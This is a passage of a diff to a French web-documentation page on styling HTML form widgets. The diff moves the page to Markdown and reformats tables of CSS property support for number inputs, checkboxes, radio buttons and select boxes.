</td> - </tr> - <tr> - <th scope="row">{{cssxref("font")}}</th> - <td>Oui</td> - <td>Oui</td> - <td>Voir la note à propos de {{cssxref("line-height")}}.</td> - </tr> - <tr> - <th scope="row">{{cssxref("letter-spacing")}}</th> - <td>Oui</td> - <td>Oui</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-align")}}</th> - <td>Non</td> - <td>Non</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-decoration")}}</th> - <td>Partiel</td> - <td>Oui</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-indent")}}</th> - <td>Oui</td> - <td>Oui</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-overflow")}}</th> - <td>Non</td> - <td>Non</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-shadow")}}</th> - <td>Partiel</td> - <td>Partiel</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-transform")}}</th> - <td>Oui</td> - <td>Oui</td> - <td> </td> - </tr> - </tbody> - <tbody> - <tr> - <th colspan="4" scope="col"><em>Bordure et arrière-plan</em></th> - </tr> - <tr> - <th scope="row">{{cssxref("background")}}</th> - <td>Oui</td> - <td>Oui</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("border-radius")}}</th> - <td>Yes</td> - <td>Yes</td> - <td> - <ol> - <li>Sur Opera la propriété {{cssxref("border-radius")}} n'est appliquée que si une bordure est explicitement définie.</li> - </ol> - </td> - </tr> - <tr> - <th scope="row">{{cssxref("box-shadow")}}</th> - <td>Non</td> - <td>Partiel</td> - <td> - <ol> - <li>IE9 ne prend pas en charge cette propriété.</li> - </ol> - </td> - </tr> - </tbody> + <thead> + <tr> + <th scope="col">Propriété</th> + <th scope="col" style="text-align: center">N</th> + <th scope="col" style="text-align: center">A</th> + <th scope="col">Note</th> + </tr> + </thead> + <tbody> + <tr> + <th colspan="4" scope="col"><em>Modèle de boîte CSS</em></th> + </tr> + <tr> + <th scope="row">{{cssxref("width")}}</th> + <td>Oui</td> + <td>Oui</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("height")}}</th> + <td>Partiel</td> + <td>Oui</td> + <td> + <ol> + <li> + Cette propriété n'est pas appliquée sur les navigateurs fondés sur + WebKit sur Mac OSX ou iOS. + </li> + </ol> + </td> + </tr> + <tr> + <th scope="row">{{cssxref("border")}}</th> + <td>Partiel</td> + <td>Oui</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("margin")}}</th> + <td>Oui</td> + <td>Oui</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("padding")}}</th> + <td>Partiel</td> + <td>Oui</td> + <td> + <ol> + <li> + Cette propriété n'est pas appliquée sur les navigateurs fondés sur + WebKit sur Mac OSX ou iOS. + </li> + </ol> + </td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>Texte et polices</em></th> + </tr> + <tr> + <th scope="row">{{cssxref("color")}}</th> + <td>Oui</td> + <td>Oui</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("font")}}</th> + <td>Oui</td> + <td>Oui</td> + <td>Voir la note à propos de {{cssxref("line-height")}}.</td> + </tr> + <tr> + <th scope="row">{{cssxref("letter-spacing")}}</th> + <td>Oui</td> + <td>Oui</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-align")}}</th> + <td>Non</td> + <td>Non</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-decoration")}}</th> + <td>Partiel</td> + <td>Oui</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-indent")}}</th> + <td>Oui</td> + <td>Oui</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-overflow")}}</th> + <td>Non</td> + <td>Non</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-shadow")}}</th> + <td>Partiel</td> + <td>Partiel</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-transform")}}</th> + <td>Oui</td> + <td>Oui</td> + <td> </td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>Bordure et arrière-plan</em></th> + </tr> + <tr> + <th scope="row">{{cssxref("background")}}</th> + <td>Oui</td> + <td>Oui</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("border-radius")}}</th> + <td>Yes</td> + <td>Yes</td> + <td> + <ol> + <li> + Sur Opera la propriété {{cssxref("border-radius")}} n'est + appliquée que si une bordure est explicitement définie. + </li> + </ol> + </td> + </tr> + <tr> + <th scope="row">{{cssxref("box-shadow")}}</th> + <td>Non</td> + <td>Partiel</td> + <td> + <ol> + <li>IE9 ne prend pas en charge cette propriété.</li> + </ol> + </td> + </tr> + </tbody> </table> -<h3 id="Widget_number">Widget <code>number</code></h3> +### Widget `number` -<p>Sur les navigateurs qui implémentent le widget <code>number</code>, il n'y a pas de méthode standard pour changer le style des roulettes utilisées pour changer la valeur du champ. Il est à noter que les roulettes de Safari sont en dehors du champ.</p> +Sur les navigateurs qui implémentent le widget `number`, il n'y a pas de méthode standard pour changer le style des roulettes utilisées pour changer la valeur du champ. Il est à noter que les roulettes de Safari sont en dehors du champ. <table> - <thead> - <tr> - <th scope="col">Propriété</th> - <th scope="col" style="text-align: center;">N</th> - <th scope="col" style="text-align: center;">A</th> - <th scope="col">Note</th> - </tr> - </thead> - <tbody> - <tr> - <th colspan="4" scope="col"><em>Modèle de boîte CSS</em></th> - </tr> - <tr> - <th scope="row">{{cssxref("width")}}</th> - <td>Oui</td> - <td>Oui</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("height")}}</th> - <td>Partiel</td> - <td>Partiel</td> - <td> - <ol> - <li>Sur Opera, les roulettes sont zoomés, ce qui peut masquer le contenu du champ.</li> - </ol> - </td> - </tr> - <tr> - <th scope="row">{{cssxref("border")}}</th> - <td>Oui</td> - <td>Oui</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("margin")}}</th> - <td>Oui</td> - <td>Oui</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("padding")}}</th> - <td>Partiel</td> - <td>Partiel</td> - <td> - <ol> - <li>Sur Opera, les roulettes sont zoomés, ce qui peut masquer le contenu du champ.</li> - </ol> - </td> - </tr> - </tbody> - <tbody> - <tr> - <th colspan="4" scope="col"><em>Texte et polices</em></th> - </tr> - <tr> - <th scope="row">{{cssxref("color")}}</th> - <td>Oui</td> - <td>Oui</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("font")}}</th> - <td>Oui</td> - <td>Oui</td> - <td>Voir la note à propos de {{cssxref("line-height")}}.</td> - </tr> - <tr> - <th scope="row">{{cssxref("letter-spacing")}}</th> - <td>Oui</td> - <td>Oui</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-align")}}</th> - <td>Oui</td> - <td>Oui</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-decoration")}}</th> - <td>Partiel</td> - <td>Partiel</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-indent")}}</th> - <td>Oui</td> - <td>Oui</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-overflow")}}</th> - <td>Non</td> - <td>Non</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-shadow")}}</th> - <td>Partiel</td> - <td>Partiel</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-transform")}}</th> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td> </td> - </tr> - </tbody> - <tbody> - <tr> - <th colspan="4" scope="col"><em>Bordure et arrière‑plan</em></th> - </tr> - <tr> - <th scope="row">{{cssxref("background")}}</th> - <td>Non</td> - <td>Non</td> - <td colspan="1" rowspan="3"> - <p>Pris en charge mais il y a trop d'incohérence entre les navigateurs pour que ce soit fiable.</p> - </td> - </tr> - <tr> - <th scope="row">{{cssxref("border-radius")}}</th> - <td>Non</td> - <td>Non</td> - </tr> - <tr> - <th scope="row">{{cssxref("box-shadow")}}</th> - <td>Non</td> - <td>Non</td> - </tr> - </tbody> + <thead> + <tr> + <th scope="col">Propriété</th> + <th scope="col" style="text-align: center">N</th> + <th scope="col" style="text-align: center">A</th> + <th scope="col">Note</th> + </tr> + </thead> + <tbody> + <tr> + <th colspan="4" scope="col"><em>Modèle de boîte CSS</em></th> + </tr> + <tr> + <th scope="row">{{cssxref("width")}}</th> + <td>Oui</td> + <td>Oui</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("height")}}</th> + <td>Partiel</td> + <td>Partiel</td> + <td> + <ol> + <li> + Sur Opera, les roulettes sont zoomés, ce qui peut masquer le contenu + du champ. + </li> + </ol> + </td> + </tr> + <tr> + <th scope="row">{{cssxref("border")}}</th> + <td>Oui</td> + <td>Oui</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("margin")}}</th> + <td>Oui</td> + <td>Oui</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("padding")}}</th> + <td>Partiel</td> + <td>Partiel</td> + <td> + <ol> + <li> + Sur Opera, les roulettes sont zoomés, ce qui peut masquer le contenu + du champ. + </li> + </ol> + </td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>Texte et polices</em></th> + </tr> + <tr> + <th scope="row">{{cssxref("color")}}</th> + <td>Oui</td> + <td>Oui</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("font")}}</th> + <td>Oui</td> + <td>Oui</td> + <td>Voir la note à propos de {{cssxref("line-height")}}.</td> + </tr> + <tr> + <th scope="row">{{cssxref("letter-spacing")}}</th> + <td>Oui</td> + <td>Oui</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-align")}}</th> + <td>Oui</td> + <td>Oui</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-decoration")}}</th> + <td>Partiel</td> + <td>Partiel</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-indent")}}</th> + <td>Oui</td> + <td>Oui</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-overflow")}}</th> + <td>Non</td> + <td>Non</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-shadow")}}</th> + <td>Partiel</td> + <td>Partiel</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-transform")}}</th> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td> </td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>Bordure et arrière‑plan</em></th> + </tr> + <tr> + <th scope="row">{{cssxref("background")}}</th> + <td>Non</td> + <td>Non</td> + <td colspan="1" rowspan="3"> + <p> + Pris en charge mais il y a trop d'incohérence entre les navigateurs + pour que ce soit fiable. + </p> + </td> + </tr> + <tr> + <th scope="row">{{cssxref("border-radius")}}</th> + <td>Non</td> + <td>Non</td> + </tr> + <tr> + <th scope="row">{{cssxref("box-shadow")}}</th> + <td>Non</td> + <td>Non</td> + </tr> + </tbody> </table> -<h3 id="Cases_à_cocher_et_boutons_radio">Cases à cocher et boutons radio</h3> +### Cases à cocher et boutons radio <table> - <thead> - <tr> - <th scope="col">Propriété</th> - <th scope="col" style="text-align: center;">N</th> - <th scope="col" style="text-align: center;">A</th> - <th scope="col">Note</th> - </tr> - </thead> - <tbody> - <tr> - <th colspan="4" scope="col"><em>Modèle de boîte CSS</em></th> - </tr> - <tr> - <th scope="row">{{cssxref("width")}}</th> - <td>Non</td> - <td>Non</td> - <td> - <ol> - <li>Certains navigateurs ajoutent des marges supplémentaires et d'autres étirent le widget.</li> - </ol> - </td> - </tr> - <tr> - <th scope="row">{{cssxref("height")}}</th> - <td>Non</td> - <td>Non</td> - <td> - <ol> - <li>Certains navigateurs ajoutent des marges supplémentaires et d'autres étirent le widget.</li> - </ol> - </td> - </tr> - <tr> - <th scope="row">{{cssxref("border")}}</th> - <td>Non</td> - <td>Non</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("margin")}}</th> - <td>Oui</td> - <td>Oui</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("padding")}}</th> - <td>Non</td> - <td>Non</td> - <td> </td> - </tr> - </tbody> - <tbody> - <tr> - <th colspan="4" scope="col"><em>Texte et polices</em></th> - </tr> - <tr> - <th scope="row">{{cssxref("color")}}</th> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("font")}}</th> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("letter-spacing")}}</th> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-align")}}</th> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-decoration")}}</th> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-indent")}}</th> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-overflow")}}</th> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-shadow")}}</th> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-transform")}}</th> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td style="text-align: center; vertical-align: top;">N.A.</td> - <td> </td> - </tr> - </tbody> - <tbody> - <tr> - <th colspan="4" scope="col"><em>Bordure et arrière-plan</em></th> - </tr> - <tr> - <th scope="row">{{cssxref("background")}}</th> - <td>Non</td> - <td>Non</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("border-radius")}}</th> - <td>Non</td> - <td>Non</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("box-shadow")}}</th> - <td>Non</td> - <td>Non</td> - <td> </td> - </tr> - </tbody> + <thead> + <tr> + <th scope="col">Propriété</th> + <th scope="col" style="text-align: center">N</th> + <th scope="col" style="text-align: center">A</th> + <th scope="col">Note</th> + </tr> + </thead> + <tbody> + <tr> + <th colspan="4" scope="col"><em>Modèle de boîte CSS</em></th> + </tr> + <tr> + <th scope="row">{{cssxref("width")}}</th> + <td>Non</td> + <td>Non</td> + <td> + <ol> + <li> + Certains navigateurs ajoutent des marges supplémentaires et d'autres + étirent le widget. + </li> + </ol> + </td> + </tr> + <tr> + <th scope="row">{{cssxref("height")}}</th> + <td>Non</td> + <td>Non</td> + <td> + <ol> + <li> + Certains navigateurs ajoutent des marges supplémentaires et d'autres + étirent le widget. + </li> + </ol> + </td> + </tr> + <tr> + <th scope="row">{{cssxref("border")}}</th> + <td>Non</td> + <td>Non</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("margin")}}</th> + <td>Oui</td> + <td>Oui</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("padding")}}</th> + <td>Non</td> + <td>Non</td> + <td> </td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>Texte et polices</em></th> + </tr> + <tr> + <th scope="row">{{cssxref("color")}}</th> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("font")}}</th> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("letter-spacing")}}</th> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-align")}}</th> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-decoration")}}</th> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-indent")}}</th> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-overflow")}}</th> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-shadow")}}</th> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-transform")}}</th> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td style="text-align: center; vertical-align: top">N.A.</td> + <td> </td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>Bordure et arrière-plan</em></th> + </tr> + <tr> + <th scope="row">{{cssxref("background")}}</th> + <td>Non</td> + <td>Non</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("border-radius")}}</th> + <td>Non</td> + <td>Non</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("box-shadow")}}</th> + <td>Non</td> + <td>Non</td> + <td> </td> + </tr> + </tbody> </table> -<h3 id="Boîtes_à_sélection_(ligne_unique)">Boîtes à sélection (ligne unique)</h3> +### Boîtes à sélection (ligne unique) -<p>Firefox ne fournit aucun moyen de changer la flèche vers le bas sur l'élément {{HTMLElement("select")}}.</p> +Firefox ne fournit aucun moyen de changer la flèche vers le bas sur l'élément {{HTMLElement("select")}}. <table> - <thead> - <tr> - <th scope="col">Propriété</th> - <th scope="col" style="text-align: center;">N</th> - <th scope="col" style="text-align: center;">A</th> - <th scope="col">Note</th> - </tr> - </thead> - <tbody> - <tr> - <th colspan="4" scope="col"><em>Modèle de boîte CSS</em></th> - </tr> - <tr> - <th scope="row">{{cssxref("width")}}</th> - <td>Partiel</td> - <td>Partiel</td> - <td> - <ol> - <li>Cette propriété est correcte sur l'élément {{HTMLElement("select")}}, mais cela peut ne pas être le cas sur les éléments {{HTMLElement("option")}} ou {{HTMLElement("optgroup")}}.</li> - </ol> - </td> - </tr> - <tr> - <th scope="row">{{cssxref("height")}}</th> - <td>Non</td> - <td>Oui</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("border")}}</th> - <td>Partiel</td> - <td>Oui</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("margin")}}</th> - <td>Oui</td> - <td>Oui</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("padding")}}</th> - <td>Non</td> - <td>Partiel</td> - <td> - <ol> - <li>La propriété est appliquée, mais de manière incohérente entre navigateurs sous Mac OSX.</li> - <li>La propriété est bien appliquée sur l'élément {{HTMLElement("select")}}, mais est traitée de manière incohérente sur les éléments {{HTMLElement("option")}} et {{HTMLElement("optgroup")}}.</li> - </ol> - </td> - </tr> - </tbody> - <tbody> - <tr> - <th colspan="4" scope="col"><em>Texte et polices</em></th> - </tr> - <tr> - <th scope="row">{{cssxref("color")}}</th> - <td>Partiel</td> - <td>Partiel</td> - <td> - <ol> - <li>Sur Mac OSX, les navigateurs fondés sur WebKit ne prennent pas en charge cette propriété sur les widgets natifs et, avec Opera, ils ne la prennent pas du tout en charge sur les éléments {{HTMLElement("option")}} et {{HTMLElement("optgroup")}}.</li> - </ol> - </td> - </tr> - <tr> - <th scope="row">{{cssxref("font")}}</th> - <td>Partiel</td> - <td>Partiel</td> - <td> - <ol> - <li>Sur Mac OSX, les navigateurs fondés sur WebKit ne prennent pas en charge cette propriété sur les widgets natifs et, avec Opera, ils ne la prennent pas du tout en charge sur les éléments {{HTMLElement("option")}} et {{HTMLElement("optgroup")}}.</li> - </ol> - </td> - </tr> - <tr> - <th scope="row">{{cssxref("letter-spacing")}}</th> - <td>Partiel</td> - <td>Partiel</td> - <td> - <ol> - <li>IE9 ne prend pas en charge cette propriété sur les éléments {{HTMLElement("select")}}, {{HTMLElement("option")}}, et {{HTMLElement("optgroup")}} ; les navigateurs fondés sur WebKit sur Mac OSX ne prennent pas en charge cette propriété sur les éléments {{HTMLElement("option")}} et {{HTMLElement("optgroup")}}.</li> - </ol> - </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-align")}}</th> - <td>No</td> - <td>No</td> - <td> - <ol> - <li>IE9 sous Windows 7 et les navigateurs fondés sur WebKit sous Mac OSX ne prennent pas en charge cette propriété pour ce widget.</li> - </ol> - </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-decoration")}}</th> - <td>Partiel</td> - <td>Partiel</td> - <td> - <ol> - <li>Seul Firefox fournit une prise en charge totale de cette propriété. Opera ne la prend pas du tout en charge et d'autres navigateur ne le font que pour l'élément {{HTMLElement("select")}}.</li> - </ol> - </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-indent")}}</th> - <td>Partiel</td> - <td>Partiel</td> - <td> - <ol> - <li>La plupart des navigateurs ne prennent en charge cette propriété que pour l'élément {{HTMLElement("select")}}.</li> - <li>IE9 ne prend pas en charge cette propriété.</li> - </ol> - </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-overflow")}}</th> - <td>Non</td> - <td>Non</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-shadow")}}</th> - <td>Partiel</td> - <td>Partiel</td> - <td> - <ol> - <li>La plupart des navigateurs ne prennent en charge cette propriété que pour l'élément {{HTMLElement("select")}}.</li> - <li>IE9 ne prend pas en charge cette propriété.</li> - </ol> - </td> - </tr> - <tr> - <th scope="row">{{cssxref("text-transform")}}</th> - <td>Partiel</td> - <td>Partiel</td> - <td> - <ol> - <li>La plupart des navigateurs ne prennent en charge cette propriété que pour l'élément {{HTMLElement("select")}}.</li> - </ol> - </td> - </tr> - </tbody> - <tbody> - <tr> - <th colspan="4" scope="col"><em>Bordure et arrière-plan</em></th> - </tr> - <tr> - <th scope="row">{{cssxref("background")}}</th> - <td>Partiel</td> - <td>Partiel</td> - <td colspan="1" rowspan="3"> - <ol> - <li>La plupart des navigateurs ne prennent en charge cette propriété que pour l'élément {{HTMLElement("select")}}.</li> - </ol> - </td> - </tr> - <tr> - <th scope="row">{{cssxref("border-radius")}}</th> - <td>Partiel</td> - <td>Partiel</td> - </tr> - <tr> - <th scope="row">{{cssxref("box-shadow")}}</th> - <td>Non</td> - <td>Partiel</td> - </tr> - </tbody> + <thead> + <tr> + <th scope="col">Propriété</th> + <th scope="col" style="text-align: center">N</th> + <th scope="col" style="text-align: center">A</th> + <th scope="col">Note</th> + </tr> + </thead> + <tbody> + <tr> + <th colspan="4" scope="col"><em>Modèle de boîte CSS</em></th> + </tr> + <tr> + <th scope="row">{{cssxref("width")}}</th> + <td>Partiel</td> + <td>Partiel</td> + <td> + <ol> + <li> + Cette propriété est correcte sur l'élément + {{HTMLElement("select")}}, mais cela peut ne pas être le cas + sur les éléments {{HTMLElement("option")}} ou + {{HTMLElement("optgroup")}}. + </li> + </ol> + </td> + </tr> + <tr> + <th scope="row">{{cssxref("height")}}</th> + <td>Non</td> + <td>Oui</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("border")}}</th> + <td>Partiel</td> + <td>Oui</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("margin")}}</th> + <td>Oui</td> + <td>Oui</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("padding")}}</th> + <td>Non</td> + <td>Partiel</td> + <td> + <ol> + <li> + La propriété est appliquée, mais de manière incohérente entre + navigateurs sous Mac OSX. + </li> + <li> + La propriété est bien appliquée sur l'élément + {{HTMLElement("select")}}, mais est traitée de manière + incohérente sur les éléments {{HTMLElement("option")}} et + {{HTMLElement("optgroup")}}. + </li> + </ol> + </td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>Texte et polices</em></th> + </tr> + <tr> + <th scope="row">{{cssxref("color")}}</th> + <td>Partiel</td> + <td>Partiel</td> + <td> + <ol> + <li> + Sur Mac OSX, les navigateurs fondés sur WebKit ne prennent pas en + charge cette propriété sur les widgets natifs et, avec Opera, ils ne + la prennent pas du tout en charge sur les éléments + {{HTMLElement("option")}} et + {{HTMLElement("optgroup")}}. + </li> + </ol> + </td> + </tr> + <tr> + <th scope="row">{{cssxref("font")}}</th> + <td>Partiel</td> + <td>Partiel</td> + <td> + <ol> + <li> + Sur Mac OSX, les navigateurs fondés sur WebKit ne prennent pas en + charge cette propriété sur les widgets natifs et, avec Opera, ils ne + la prennent pas du tout en charge sur les éléments + {{HTMLElement("option")}} et + {{HTMLElement("optgroup")}}. + </li> + </ol> + </td> + </tr> + <tr> + <th scope="row">{{cssxref("letter-spacing")}}</th> + <td>Partiel</td> + <td>Partiel</td> + <td> + <ol> + <li> + IE9 ne prend pas en charge cette propriété sur les éléments + {{HTMLElement("select")}}, {{HTMLElement("option")}}, + et {{HTMLElement("optgroup")}} ; les navigateurs fondés sur + WebKit sur Mac OSX ne prennent pas en charge cette propriété sur les + éléments {{HTMLElement("option")}} et + {{HTMLElement("optgroup")}}. + </li> + </ol> + </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-align")}}</th> + <td>No</td> + <td>No</td> + <td> + <ol> + <li> + IE9 sous Windows 7 et les navigateurs fondés sur WebKit sous Mac OSX + ne prennent pas en charge cette propriété pour ce widget. + </li> + </ol> + </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-decoration")}}</th> + <td>Partiel</td> + <td>Partiel</td> + <td> + <ol> + <li> + Seul Firefox fournit une prise en charge totale de cette propriété. + Opera ne la prend pas du tout en charge et d'autres navigateur ne le + font que pour l'élément {{HTMLElement("select")}}. + </li> + </ol> + </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-indent")}}</th> + <td>Partiel</td> + <td>Partiel</td> + <td> + <ol> + <li> + La plupart des navigateurs ne prennent en charge cette propriété que + pour l'élément {{HTMLElement("select")}}. + </li> + <li>IE9 ne prend pas en charge cette propriété.</li> + </ol> + </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-overflow")}}</th> + <td>Non</td> + <td>Non</td> + <td> </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-shadow")}}</th> + <td>Partiel</td> + <td>Partiel</td> + <td> + <ol> + <li> + La plupart des navigateurs ne prennent en charge cette propriété que + pour l'élément {{HTMLElement("select")}}. + </li> + <li>IE9 ne prend pas en charge cette propriété.</li> + </ol> + </td> + </tr> + <tr> + <th scope="row">{{cssxref("text-transform")}}</th> + <td>Partiel</td> + <td>Partiel</td> + <td> + <ol> + <li> + La plupart des navigateurs ne prennent en charge cette propriété que + pour l'élément {{HTMLElement("select")}}. + </li> + </ol> + </td> + </tr> + </tbody> + <tbody> + <tr> + <th colspan="4" scope="col"><em>Bordure et arrière-plan</em></th> + </tr> + <tr> + <th scope="row">{{cssxref("background")}}</th> + <td>Partiel</td> + <td>Partiel</td> + <td colspan="1" rowspan="3"> + <ol> + <li> + La plupart des navigateurs ne prennent en charge cette propriété que + pour l'élément {{HTMLElement("select")}}. + </li> + </ol> + </td> + </tr> + <tr> + <th scope="row">{{cssxref("border-radius")}}</th> + <td>Partiel</td> + <td>Partiel</td> + </tr> + <tr> + <th scope="row">{{cssxref("box-shadow")}}</th> + <td>Non</td> + <td>Partiel</td> + </tr> + </tbody> </table> -<h3 id="Boîtes_à_sélection_(multilignes)">Boîtes à sélection (multilignes)</h3> +### Boîtes à sélection (multilignes) <table> - <thead> - <tr> - <th scope="col">Propriété</th> - <th scope="col" style="text-align: center;">N</th> - <th scope="col" style="text-align: center;">A</th> - <th scope="col">Note</th> - </tr> - </thead> - <tbody> - <tr> - <th colspan="4" scope="col"><em>Modèle de boîte CSS</em></th> - </tr> - <tr> - <th scope="row">{{cssxref("width")}}</th> - <td>Oui</td> - <td>Oui</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("height")}}</th> - <td>Oui</td> - <td>Oui</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("border")}}</th> - <td>Oui</td> - <td>Oui</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("margin")}}</th> - <td>Oui</td> - <td>Oui</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("padding")}}</th> - <td>Partiel</td> - <td>Partiel</td> - <td> - <ol> - <li>Opera ne prend pas en charge {{cssxref("padding-top")}} et {{cssxref("padding-bottom")}} sur l'élément {{HTMLElement("select")}}.</li> - </ol> - </td> - </tr> - </tbody> - <tbody> - <tr> - <th colspan="4" scope="col"><em>Texte et polices</em></th> - </tr> - <tr> - <th scope="row">{{cssxref("color")}}</th> - <td>Oui</td> - <td>Oui</td> - <td> </td> - </tr> - <tr> - <th scope="row">{{cssxref("font")}}</th> - <td>Oui</td> - <td>Oui</td> - <td>Voir la note à propos de {{cssxref("line-height")}}.</td> - </tr> - <tr> - <th scope="row">{{cssxref("letter-spacing")}}</th> - <td>Partiel</td> - <td>Partiel</td> - <td> - <ol> - <li>IE9 ne 